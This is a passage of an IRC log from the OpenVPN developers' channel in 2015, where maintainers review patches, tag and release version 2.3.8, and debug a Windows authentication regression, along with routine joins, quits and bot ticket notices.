<@plaisthos> https://staging.openvpn.net/openvpn3/ 10:55 <@vpnHelper> Title: OpenVPN 3 (at staging.openvpn.net) 12:45 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Read error: Connection reset by peer] 16:05 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 250 seconds] 16:05 -!- cron2 [~gert@openvpn/community/developer/cron2] has quit [Ping timeout: 250 seconds] 16:05 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 16:05 -!- mode/#openvpn-devel [+o mattock] by ChanServ 19:10 <@vpnHelper> RSS Update - tickets: #585: Authentication should be processed in parallel to avoid trafic disruption <https://community.openvpn.net/openvpn/ticket/585> 20:58 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel --- Day changed Fri Jul 31 2015 01:32 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:32 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 02:27 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Read error: Connection reset by peer] 05:55 -!- cron2 [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 05:55 -!- mode/#openvpn-devel [+o cron2] by ChanServ 07:16 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn-devel 07:40 -!- s7r [~s7r@openvpn/user/s7r] has quit [Remote host closed the connection] 09:54 -!- reators [~holger@2001:1a80:2000:2:d0e8:6449:7aea:821e] has quit [Quit: Leaving.] 13:56 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has quit [Read error: Connection reset by peer] 14:19 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel --- Day changed Sat Aug 01 2015 01:24 <@cron2> plaisthos: what do you think about http://article.gmane.org/gmane.network.openvpn.devel/9851 ? It works for me, but I do not have the option for "wider" test coverage 01:24 <@vpnHelper> Title: Gmane -- RfD: speed up PUSH REQUEST... (at article.gmane.org) 04:24 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 04:24 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 04:44 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 252 seconds] 06:33 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Remote host closed the connection] 06:33 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 06:54 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 06:54 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 07:03 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 246 seconds] 07:45 <@plaisthos> cron2: looks okay, I will just include in the next release as part of "Speed up connection" 07:48 <@cron2> cool. I'm fairly sure it is safe enough, but your users manage to trigger the most interesting effects :-) 07:51 <@cron2> plaisthos: can I get you interested in reviewing http://article.gmane.org/gmane.network.openvpn.devel/9974 ? Crypto/Buffer related - I think it's fine, but you have better understanding here 07:51 <@vpnHelper> Title: Gmane -- PATCH v2 Fix overflow check in openvpn decrypt (at article.gmane.org) 07:57 <@plaisthos> cron2: looks good 08:30 <@cron2> on the topic of "poor performance"... I'm looking at a tcpdump of openvpn-over-tcp right now, and the server side is advertising a tcp window of around 1050 bytes... wtf? 08:30 <@cron2> 15:30:11.387509 IP6 2607:fc50:1001:5200::4.51194 > 2001:608:4:0:222:68ff:fe7f:7420.40544: Flags [P.], seq 39416:39527, ack 41801, win 1042, options [nop,nop,TS val 2108840446 ecr 3466009427], length 111 08:30 <@cron2> (mmmh, but that might be scaled... ignore me, need to find the SYN) 08:30 <@cron2> yeah, wscale 6, so it's fine 09:50 <@vpnHelper> RSS Update - gitrepo: Fix overflow check in openvpn_decrypt() <https://github.com/OpenVPN/openvpn/commit/cc377dec820f9e6e7e72981013eb3857aa6ea5ce> 09:55 <@plaisthos> cron2: :) 10:27 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Remote host closed the connection] 10:29 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 13:38 <@cron2> brrr 13:39 <@cron2> init_route_list(..., link_socket_current_remote (link_socket_info), ...) 13:40 * cron2 will have to deal with that for AF_INET6 now... 13:45 * cron2 is working on refactoring the IPv6 stuff in route.[ch] and friends to be in line with James' changes in 7fb0e07e, and this is not fun 14:45 <@vpnHelper> RSS Update - tickets: #586: Possible Segmentation Fault issue in OpenVPN 2.3.x <https://community.openvpn.net/openvpn/ticket/586> 15:48 * cron2 slaps dazo with #586 - dc7be6d0 --- Day changed Sun Aug 02 2015 03:59 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 03:59 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 06:10 <@cron2> syzzer: I abstain 06:13 <@cron2> syzzer: the explanation looks reasonable to me, though, and the patch matches that :) 06:15 <@syzzer> cron2: heh, ok. but we need at least someone else to have an opinion / get an ACK 06:47 * cron2 has lots of opinions, mostly on 7fb0e07e right now... 06:47 <@cron2> (right after I did all of the IPv6 route/route_list stuff, modeled fairly closely after the IPv4 stuff, James refactored all of the IPv4 parts...) 07:01 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 264 seconds] 07:43 <@cron2> IDEA is a patented algorithm; link against libcrypto_idea.a. Aborting... 07:43 <@cron2> Testing cipher IDEA-OFB... FAILED 07:43 <@cron2> hrmpbh, stupid NetBSD... (but that is just a side track, what I *wanted* to test succeeded) 07:58 <@cron2> syzzer: since 2.3.8 is "syzzer's magic box of bugfixes", we could nicely include these two in there... 08:25 <@cron2> so... good deed done for today... 13:56 -!- Netsplit *.net <-> *.split quits: riddle 13:57 -!- Netsplit over, joins: riddle 14:10 -!- Netsplit *.net <-> *.split quits: Eagle_Erwin 16:24 -!- krzie [~k@openvpn/community/support/krzee] has joined #openvpn-devel 16:24 -!- mode/#openvpn-devel [+v krzie] by ChanServ 19:09 -!- krzie [~k@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 20:43 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Read error: Connection reset by peer] 20:44 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel --- Day changed Mon Aug 03 2015 01:12 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:12 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 01:13 <@mattock1> so, what is the status of 2.3.8 patches? 02:23 <@cron2> the most important bits are in 02:24 <@cron2> we could use the opportunity and merge syzzers latest two... do you think you could get James interested? 02:51 -!- reators [~holger@2001:1a80:2000:2:9883:b06e:402a:879b] has joined #openvpn-devel 03:00 <@mattock1> hmm, James might be on vacation 03:00 <@mattock1> at least he has been during last few weeks 03:22 <@mattock1> cron2: do you have links to syzzer's patches? 03:23 <@syzzer> mattock1: no, those are the ones on security@ 03:24 <@mattock1> ah, ok, then James will know 03:24 <@syzzer> the most recent ones 03:25 <@plaisthos> urgh @ github spoof patch 03:25 <@plaisthos> can I veto that if there isn't a very compelling reason? 03:26 <@plaisthos> that is spoofing for payload, nevermind 03:32 <@cron2> spoofing or obfuscation? 03:32 <@syzzer> still sounds like a non-feature to me 03:32 <@cron2> but if the patch sucks, by all mean, veto 03:32 <@syzzer> https://github.com/StevenVanAcker/openvpn/commit/8a08d143281ddc174ab2aa6742ddad5bc6b90911 03:32 <@vpnHelper> Title: allow IP spoofing by clients · StevenVanAcker/openvpn@8a08d14 · GitHub (at github.com) 03:33 <@cron2> IP spoofing? wtf? 03:33 <@cron2> no go, at least not with a very strong rationale *and* a use case that is not handled by peer-id/tls-float 03:35 <@cron2> (and even then I'm not sure the code actually works for more than one client...) 03:35 <@mattock1> sent mail to james 03:35 <@cron2> oh 03:35 <@cron2> *payload* 03:35 <@cron2> but still, no go 03:36 * cron2 needs to actually *drink* his first coffee :-) - but no, we do not encourage that 03:38 <@cron2> plaisthos: where did you see that? Did you get some sort of github notification? (iow: why didn't I see it?) 03:38 <@plaisthos> cron2: Yes I got notified 03:38 <@plaisthos> https://github.com/OpenVPN/openvpn 03:38 <@vpnHelper> Title: OpenVPN/openvpn · GitHub (at github.com) 03:38 <@plaisthos> click watch on the top right 03:38 <@plaisthos> and maybe start 03:38 <@plaisthos> star 03:39 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 244 seconds] 03:40 <@cron2> ah, this was set to "watch if participating or @mentioned" 03:41 <@cron2> what does "star" do? 03:42 <@cron2> someone could actually close half the open pull requests (as they have been merged via devel list, like the __func__ patch) 03:42 <@plaisthos> only group members 03:42 <@plaisthos> https://github.com/orgs/OpenVPN/people 03:42 <@vpnHelper> Title: People · OpenVPN · GitHub (at github.com) 03:43 <@plaisthos> so mattock1 or dazo or ecrist should maybe add you to the list of members 03:43 <@plaisthos> I thought you were already member there since you are allowed to push 03:46 <@mattock1> that would make sense 03:47 <@mattock1> I believe I get some notifications from GitHub, but definitely not all of them 03:47 <@mattock1> probably only for my own projects 03:49 <@plaisthos> mattock1: you should be able to add cron2 to the member list 03:49 <@plaisthos> or whoever has admin rights on openvpn 03:49 <@mattock1> topic list for the next meeting here: https://community.openvpn.net/openvpn/wiki/Topics-2015-08-10 03:49 <@vpnHelper> Title: Topics-2015-08-10 – OpenVPN Community (at community.openvpn.net) 03:49 <@mattock1> list is empty currently :) 03:52 <@mattock1> github is configured to send email to openvpn-commits list whenever an event occurs 03:55 <@mattock1> however, the most recent mails to that list are from Dec 2014 03:56 <@mattock1> cron2 is set to "Owner" on GitHub OpenVPN project 03:58 <@cron2> I get notifications if someone puts "@cron2" into it... and I do get openvpn-commits mails (but maybe those are from sf) 04:39 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 04:39 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 04:40 -!- dazo_afk is now known as dazo 05:07 <@plaisthos> openvpn//src/openvpn/plugin.h:38:28: fatal error: openvpn-plugin.h: No such file or directory 05:07 <@plaisthos> *sigh* 05:07 * plaisthos curses that patch 05:08 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 240 seconds] 05:09 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 244 seconds] 05:10 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 05:13 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 05:13 -!- mode/#openvpn-devel [+o dazo] by ChanServ 06:05 <@plaisthos> cron2: the new version with your patch in it is now ready for beta users 06:06 <@plaisthos> cron2: https://play.google.com/apps/testing/de.blinkt.openvpn if you want to get it too 06:06 <@vpnHelper> Title: Sign in - Google Accounts (at play.google.com) 06:50 <@cron2> plaisthos: cool :-) - URL noted, no time for testing right now (and I hardly ever use OpenVPN on the N7 or iPad unless testing "something or the other") 06:52 <@syzzer> plaisthos: have you seen that there now is a public VPN API on iOS too? 06:53 <@syzzer> you can expand your market ;) 06:53 <@cron2> syzzer: there is? Is it "the" VPN API, or something new? 06:53 <@syzzer> I don't know what the old thing is (and tbh, I don't really know what the public thing is either) 06:54 <@syzzer> let me find the link 06:54 <@cron2> well, as the old thing is under NDA, I have no idea either :-) - but it's what we currently use, and an App that wants to use it needs to be specially signed by Apple's iOS security team 06:55 <@cron2> (which means, releases take ages to get approval...) 06:55 <@syzzer> https://developer.apple.com/library/prerelease/ios/releasenotes/General/WhatsNewIniOS/Articles/iOS9.html 06:55 <@vpnHelper> Title: iOS 9.0 (at developer.apple.com) 06:55 <@syzzer> (ctrl-f for vpn) 06:57 <@syzzer> and for the cult talk: https://developer.apple.com/videos/wwdc/2015/?id=717 06:57 <@vpnHelper> Title: What's New in Network Extension and VPN - WWDC 2015 - Videos - Apple Developer (at developer.apple.com) 06:57 <@cron2> Each of the network extension points requires special permission from Apple. 06:57 <@cron2> (which makes sense) 07:08 <@syzzer> s/Apple/end user/ and I would agree ;) 07:09 <@cron2> Apple actually reviews the code to check whether it does what it claims to do, *and* the end user need to agree "yes, VPN apps can steal my traffic" (or such) once 07:11 <@syzzer> ok, I have to agree the code reviews for this kind of application do make sense 07:11 <@syzzer> I'm curious whether side-loading this kind of app would work too 07:12 <@cron2> side-loading? 07:12 <@syzzer> either using a personal dev account, or through some sort of mobile device management thingy 07:12 <@syzzer> not sure if side-loading is the correct term here... 07:13 <@cron2> James is able to build dev versions of iOpenVPN, but it needs to be custom-built for the specific device you want to run it on (the device UUID is embedded in the app) 07:13 <@cron2> so "sort of" - you can't have a public app installed to Joe Random Somebody via a web server, but you can do this for specific known-in-advance devices for testing 07:49 <@plaisthos> cron2: that sounds like the old iOS API, now a bit more open 07:50 <@plaisthos> syzzer: yeah but that has always worked 08:45 <@syzzer> plaisthos: well, except that the VPN API was not available 09:19 <@ecrist> I don't have admin rights on github except for easy-rsa 09:31 <@plaisthos> ecrist: I can only see the members list of OpenVPN and not what rights each member has 10:20 <@cron2> so, shall I tag+push 2.3.8 now? 10:48 <@cron2> * [new tag] v2.3.8 -> v2.3.8 10:49 <@cron2> mattock1: go for it! 11:32 <@cron2> OpenVPN is stupid... if I talk to a server that pushes a route which encompasses the server address (IPv4!), it will not notice and happily recurse routing, unless I do "--redirect-private"... 11:32 <@cron2> this is exactly the problem I'm fixing for IPv6 right now (which --redirect-* cannot handle yet), but I intend to do this automatically (or refuse the route)... "just doing stupid things" is... stupid 11:36 <@plaisthos> cron2: :) 11:36 <@plaisthos> I had given up to this stuff in OpenVPN and did it in my UI 11:37 <@plaisthos> since my routing magic is android specific anyway 12:31 <@vpnHelper> RSS Update - tickets: #587: Add sanity checks, replace deprecated calls in OpenVPN 2.3.x <https://community.openvpn.net/openvpn/ticket/587> 12:37 -!- dogbert2 [~dogbert2@ip-64-134-230-127.public.wayport.net] has joined #openvpn-devel 12:37 < dogbert2> hey all, tnx for the fast action on ticket #586, I just sent in #587 :) 12:40 -!- dogbert2 [~dogbert2@ip-64-134-230-127.public.wayport.net] has left #openvpn-devel [] 16:11 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn-devel 19:06 -!- s7r [~s7r@openvpn/user/s7r] has quit [Ping timeout: 272 seconds] --- Day changed Tue Aug 04 2015 01:34 <@mattock1> cron2: a new tag I see :) 03:01 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Read error: Connection reset by peer] 03:07 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 03:09 <@mattock1> cron2: any release highlights you'd like to point out? 03:24 <@plaisthos> fix any bugs with daemon we just introduced int last releases ;) 03:24 <@plaisthos> (in a nicer way) 03:25 <@plaisthos> Report missing endtags of inline files as warnings 03:28 <@plaisthos> Fix corner case of inline certificates not parsed correctly if the end certificate marks begins at exactly 2048, 4096 or 8192 bytes 03:35 -!- Netsplit *.net <-> *.split quits: @mattock1 03:37 -!- Netsplit over, joins: @mattock1 03:54 <@mattock1> it seems that auth-user-pass <file> does not work with openvpn-gui 03:54 <@mattock1> that's an earlier regression 03:55 <@mattock1> or some incompatible change 03:55 <@plaisthos> 2.3.8 worked? 03:55 <@mattock1> no 03:55 <@mattock1> so, here's how it goes 03:56 <@mattock1> 2.3.7: auth-user-pass + GUI works 03:56 <@mattock1> 2.3.7: auth-user-pass <file> + GUI does not work 03:56 <@mattock1> 2.3.8: auth-user-pass + GUI does not work 03:56 <@mattock1> 2.3.8: auth-user-pass <file> + GUI does not work 03:56 <@mattock1> 2.3.8: auth-user-pass <file> without GUI _works_ 03:57 <@mattock1> there's a "clear" error message in the logfile, just a sec 04:02 <@mattock1> http://pastebin.ca/3088077 04:02 <@mattock1> the GUI seems to be forcing auth_user_pass to be "stdin", so it fails 04:06 <@mattock1> anyways, as some change in 2.3.8 has the potential to break existing configs, I think we should inveestigate before making a release... even if the culprit is openvpn-gui, not openvpn per se 04:07 <@mattock1> openvpn 2.3.8 release files are on the fileservers, but I have not announced anything nor updated the website or Debian/Ubuntu repos 04:20 <@mattock1> I need to split now, but I'll check back later 04:22 <@cron2> I'm confused... auth-user-pass + GUI should be "auth-user-pass + mgmt-interface" and syzzer fixed that... 04:22 <@cron2> but maybe only for "with --daemon", not "on windows, not with daemon" 04:23 <@plaisthos> and my app would be borken too 04:23 <@plaisthos> these patches are all in master 04:23 <@plaisthos> err, does the gui add managment-query-password? 04:24 <@cron2> the log says "management_user_pass = 'stdin'" whatever *that* is 04:24 <@plaisthos> the default iirc 04:26 <@cron2> mattock1: can you try backing out b131c7b974d9d4d3f0? 04:27 <@cron2> maybe the "if isatty()" check doesn't work on windows and gets in the way here (that's definitely what is triggering the message, but the actual use case does not exist, so if this fixes the problem, we can #ifndef WIN32 this code part) 04:28 <@plaisthos> but this use may be non windows specific 04:28 <@plaisthos> I don't need a tty to interact with stdin/stdout 04:28 <@cron2> you do, if you're openvpn on unix, because it uses getpass() which fails on non-tty devices 04:29 <@plaisthos> ah 04:29 <@plaisthos> nvm then 04:29 <@cron2> or maybe not 04:30 <@cron2> man page claims "uses /dev/tty", but I'm sure I've seen "try stdin, if that doesn't work, try stderr, then give up" 04:31 <@plaisthos> os x: 04:31 <@plaisthos> The getpass() function displays a prompt to, and reads in a password 04:31 <@plaisthos> from, /dev/tty. If this file is not accessible, getpass() displays the 04:31 <@plaisthos> prompt on the standard error output and reads from the standard input. 04:32 <@cron2> mmmh. So it might actually work in "echo username\npasswrd | openvpn --auth-user-pass" scenarios 04:32 <@cron2> (which I broke) 04:33 <@cron2> so how do I find out in *this* place of the code whether we have daemonized (aka: "fd 0 and 2 point to /dev/null")... 04:34 <@cron2> the problem with getpass() is that it doesn't reliably fail - depending on OS, it will just return an empty string instead, which doesn't help in determining failure vs. "user pressed return" 04:52 * cron2 tends to #ifndef WIN32 the code, and leave it at that, for the time being. If it indeed blows up for someone's use case (where both stdin *and* stderr are not tty devices), we need to revisit that - but such a scenario would surprise me 04:56 <@cron2> *grumble*, of course get_console_input() (what calls getpass() on unix platforms) looks totally different on win32, so my fix was not right in the first place 05:00 <@cron2> but I'm still not sure why the win gui triggers this... it's inside an "if(from_stdin)" block which should never be reached anyway, if the mgmt interface is active... and the gui shouldn't be talking via stdin/stdout 05:00 * cron2 waits for mattock1's test 05:15 <@cron2> or maybe d12fk (*highlight!*) is around...? 05:36 <@plaisthos> cron2: iirc the gui did not use management interface first 05:36 <@plaisthos> so some strange stuff is left 05:36 <@plaisthos> like this 05:37 <@cron2> true (and maybe that is why --auth-user-pass <file> doesn't work) 06:03 * plaisthos is sick of "Your client does routing wrong, see my rooted phones ip route output!!!!111" 06:32 <@mattock1> ok so do you have a proposed patch, or just want me to test "2.3.8 minus b131c7b974d9d4d3f0"? 06:41 <@cron2> that is the proposed patch :) 06:41 <@cron2> if that works, I'll send a patch that will put #ifndef WIN32 around these two lines 06:42 <@cron2> plaisthos: heh, I can see that this would be annoying :) 06:53 <@mattock1> building 07:07 <@mattock1> cron2: reverting b131c7b makes things work as expected 07:09 <@cron2> *sigh* 07:09 <@cron2> ok, so how do we tackle this now? the tag has been pushed (maybe prematurely), so cannot be changed 07:09 <@mattock1> I will verify this with the old installer just to be sure 07:10 <@cron2> good plan, we should have done this before pushing the tag... *sigh* 07:11 <@mattock1> yeah, tags are a bit too permanent 07:12 <@cron2> my idea is that we publish 2.3.8 "as it is" and document that the released windows installers are "2.3.8 minus b131..." - and the next commit in release/2.3 will be "#ifndef WIN32 around these lines" 07:13 <@cron2> so 2.3.9 will be fixed, and if someone really builds 2.3.8-for-windows from scratch, they will be warned in the release notes 07:16 <@mattock1> confirmed: 2.3.7 and 2.3.8 minus patch work, but 2.3.8 does not 07:16 <@mattock1> some of my tests were messed up, though, because in 2.3.7 auth-user-pass <file> works as expected, unlike I said earlier 07:17 <@mattock1> I agree that we keep the tag as is and append the fix to release/2.3 07:17 <@mattock1> releasing 2.3.9 now would look even more silly 07:17 <@cron2> does "auth-user-pass <file>" work with 2.3.8 now, 2.3.8-minus-patch, or "not"? 07:17 <@plaisthos> after I released yesterday 0.6.31 and 0.6.32 of my app ... 07:20 <@cron2> so we can look silly all together :) 07:21 <@mattock1> auth-user-pass <file> works with both 2.3.7 and "2.3.8 minus patch" 07:22 <@cron2> I have no idea how that patch can break <file>...!? mmmh. Let me test something... 07:24 <@cron2> Tue Aug 4 14:24:04 2015 Sorry, 'Auth' password cannot be read from a file 07:24 <@cron2> grrr 07:24 <@mattock1> ah, the first line of defense/annoyance 07:25 <@cron2> rebuilding... seems I need to add a test for that to my openvpn client/server test set(s)... right now this is all "cert only" 07:29 <@plaisthos> cron2: yeah, we discussed last time if want to remove that ifdef 07:29 <@plaisthos> that you can always configure reading from a file 07:31 <@cron2> we might actually have done so, but only for master... let me check 07:31 <@mattock1> anyways, on the bright side I managed to remove all openvpn files from SF.net 07:31 <@mattock1> their webui started working again 07:32 <@cron2> plaisthos: we never did... but I think we agreed that we want to get rid of yet another #ifdef... wo volunteered to actually send the patch? 07:32 <@plaisthos> cron2: maybe syzzer? 07:32 <@plaisthos> Rationale was, everyone (every distri and windows installer) enables this option anyway 07:35 <@cron2> yep 07:39 <@syzzer> what ifdef are we talking about? 07:39 <@syzzer> the CLIENT_CR thingy? 07:40 <@plaisthos> ENABLE_PASSWORD_SAVE 07:40 <@syzzer> ah, ok, I never touched that 07:44 <@cron2> ok, what I *wanted* to test: --auth-user-pass file.txt on linux works normally 07:44 <@cron2> so no idea why it breaks on 2.3.8 on windows... 07:46 <@cron2> mattock1: you might want to ugprade the server on ldap.openvpn.com occasionally, so we can enjoy the big-mtu speedup :-) (to git master, not in 2.3 yet) 07:47 <@mattock1> we don't have the openvpn.com domain, it was robbed by somebody early on 07:47 <@mattock1> that said, I know what server you're referring to :P 07:47 <@cron2> oh, org, right 07:50 * cron2 wonders what --daemon does on the windows binary 07:57 <@cron2> mattock1: if you feel like it, you could give 2.3.8+ http://article.gmane.org/gmane.network.openvpn.devel/10000 a try (nice number :) ) 07:57 <@vpnHelper> Title: Gmane -- PATCH Un break auth user pass on windows (at article.gmane.org) 07:57 <@cron2> .oO(someone does not like "-" characters here) 08:03 <@mattock1> cron2: ok 08:08 <@mattock1> rebuilding with the patch 08:17 <@mattock1> works as expected with "auth-user-pass <file>" now 08:17 <@mattock1> I'll rebuild all the Windows installers now 08:21 <@mattock1> the official 2.3.8 source packages contain the fix, so only people affected by this episode will be those building based on the v2.3.8 git tag 08:21 <@mattock1> I won't bother updating the Debian packages as those are not affected anyways 08:35 <@mattock1> I documented this mess here: https://community.openvpn.net/openvpn/wiki/ChangesInOpenvpn23 08:35 <@vpnHelper> Title: ChangesInOpenvpn23 – OpenVPN Community (at community.openvpn.net) 08:35 <@mattock1> I'll also mention it in the release notes 10:17 <@cron2> thanks 10:17 <@cron2> (re, btw, had to fetch $kid from $summerholidayamusement) 12:45 <@mattock1> 2.3.8 is now on the website 12:46 <@mattock1> I'll make the announcements after one more Windows test 12:48 <@mattock1> worked 12:51 <@mattock1> debian packages pushed 12:54 <@mattock1> announcements made 14:33 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 265 seconds] 16:09 -!- dogbert2 [~dogbert2@ip-64-134-160-99.public.wayport.net] has joined #openvpn-devel 16:10 < dogbert2> anyone awake? 16:10 < dogbert2> is it possible to configure openvpn to find/see openssl-1.0.2d (build successfully) in /usr/local/ssl? 17:12 -!- dogbert2 [~dogbert2@ip-64-134-160-99.public.wayport.net] has left #openvpn-devel [] 17:31 <@vpnHelper> RSS Update - tickets: #588: config.status: error: could not create version.sh <https://community.openvpn.net/openvpn/ticket/588> --- Day changed Wed Aug 05 2015 01:56 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:56 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 02:34 <@syzzer> dogbert2: yes. but do you mean during compile time of run time? 02:35 <@syzzer> for runtime you could either change your PATH or set LD_LIBRARY_PATH 02:38 <@syzzer> for compile time, uninstall your system openssl devel package (otherwise pkgconfig will *always* use those) and use the OPENSSL_{CRYPTO,SSL}_{CFLAGS,LIBS} environment variables to point to your openssl location 03:20 <@d12fk> mattock: the build script for tap-windows6 doesn't work in cygwin. I'd send patches when I'm done with it. Could you verify that it still works on Windows afterwards? 03:20 <@mattock1> d12fk: sure 03:21 <@d12fk> it's due to the fact that cygwin uses / instead of \ as path separator 03:21 <@mattock1> annoying, but makes sense :) 03:21 <@d12fk> ok 03:21 <@d12fk> thanks 03:22 <@mattock1> did you notice my patch to openvpn-gui? 03:22 <@cron2> oh, d12fk! welcome to the world of the living :-) 03:22 <@mattock1> I had to do a minor modification which prevented stripping the executable _after_ signing 03:22 <@cron2> d12fk: we need to see more of you :-) 03:22 <@mattock1> that was related to restructuring on openvpn-build basically 03:23 <@cron2> #588 is typical autoconf fun... "it crashes, but you can't see why"... 03:26 <@d12fk> the makefile patch is on my todo list, but it is just too long and get higher prio items in all the time 04:07 * cron2 has an idea what d12fk is talking about... "it's kindergarten holiday" 04:14 <@d12fk> with an 8 year old it's a different story really =) 04:15 <@cron2> d12fk: the interrupts are even less maskable? 04:20 <@d12fk> no they develop a coprocessor taking off load 04:20 <@d12fk> sometimes they only compute endless loops, but whatever... 08:36 <@cron2> d12fk: so are you coming to Delft? 10:07 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn-devel 13:04 <@vpnHelper> RSS Update - tickets: #589: Error during 'make' in file 'crypto_openssl.c', 'ssl_verify_openssl.c', etc <https://community.openvpn.net/openvpn/ticket/589> 13:04 -!- s7r [~s7r@openvpn/user/s7r] has quit [Ping timeout: 244 seconds] 13:06 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn-devel 13:07 * cron2 looks oh so slightly annoyed 13:41 <@vpnHelper> RSS Update - tickets: #590: INSTALL document patch plus New Document (pending review by OpenVPN-devel) <https://community.openvpn.net/openvpn/ticket/590> 14:46 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 14:46 -!- mode/#openvpn-devel [+v krzee] by ChanServ 14:52 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 240 seconds] 15:05 -!- dogbert2 [~dogbert2@204.62.111.55] has joined #openvpn-devel 15:05 < dogbert2> whazzup? 15:44 -!- dogbert2 [~dogbert2@204.62.111.55] has left #openvpn-devel [] 18:55 -!- s7r [~s7r@openvpn/user/s7r] has quit [Quit: Leaving] 21:10 <@vpnHelper> RSS Update - tickets: #591: "extra-certs" and related option missing from "Current Parameter Settings:" output <https://community.openvpn.net/openvpn/ticket/591> --- Day changed Thu Aug 06 2015 01:03 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:03 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 03:41 <@d12fk> cron2: want to but unsure it it will work out 03:42 <@d12fk> i can probably tell in a month or so 05:18 * cron2 hopes for the best :) 06:16 <@plaisthos> clang found a bug 06:16 <@cron2> [x] send patch :) 06:17 <@plaisthos> I was doing the patch for 591 and thought, while I am here I will fix the clang warning too ... 06:17 <@plaisthos> wait a sec ... 07:33 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn-devel 09:36 <@cron2> oh, interesting, fallout from the "check for extra options" patch 10:53 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Remote host closed the connection] 10:55 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 12:26 <@cron2> plaisthos: is this master only or should the first chunk go to 2.3 as well? 13:58 -!- jrgcombr [~jrocha@177.148.152.3] has joined #openvpn-devel 13:59 < jrgcombr> !meetings 13:59 <@vpnHelper> "meetings" is (#1) OpenVPN developers meetings are usually held on Mondays @ 18:00 UTC. Ask mattock, cron2 or dazo for latest info. Meetings are normally announced in advance on the openvpn-devel mailing list or (#2) Meeting agendas and minutes are here: https://community.openvpn.net/openvpn/wiki/IrcMeetings 14:05 <@cron2> next monday, if I remember right 14:33 < jrgcombr> !git 14:33 <@vpnHelper> "git" is (#1) For the stable git tree: git clone git://git.code.sf.net/p/openvpn/openvpn or (#2) For the development git tree: git://git.code.sf.net/p/openvpn/openvpn-testing or (#3) Browse the git repositories here: http://sourceforge.net/p/openvpn/openvpn-testing/ci/master/tree/ or (#4) See !git-doc how to use git or (#5) git troubles? http://justinhileman.info/article/git-pretty/git-pretty.png 14:33 <@vpnHelper> or (#6) for the windows TUN/TAP driver repo, look at !tapdrvr 14:33 < jrgcombr> !snapshots 14:33 <@vpnHelper> "snapshots" is (#1) weekly dev snapshots are available from ftp://ftp.secure-computing.net/pub/openvpn or (#2) by helping test these features, and reporting back on either of the mailing lists, you can help these features become part of the stable branch 15:44 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 260 seconds] 17:00 <@vpnHelper> RSS Update - tickets: #592: Tap-Windows Adapter not work Windows 10 <https://community.openvpn.net/openvpn/ticket/592> 18:59 -!- s7r [~s7r@openvpn/user/s7r] has quit [Remote host closed the connection] 19:02 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn-devel 19:48 -!- s7r [~s7r@openvpn/user/s7r] has quit [Ping timeout: 265 seconds] --- Day changed Fri Aug 07 2015 01:37 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:37 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 02:18 <@syzzer> cron2: I will probabaly not make it to the next meeting, I have a start-of-season extra sports training 02:38 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 245 seconds] 03:08 <@plaisthos> cron2: both parts should be fine for 2.3 03:09 <@plaisthos> (if the warn patch is also included in 2.3) 03:21 <@cron2> syzzer: in that case, we might want to postpone it by a week... 03:23 <@cron2> plaisthos: good point. I'm not sure it ever went in - I remember we 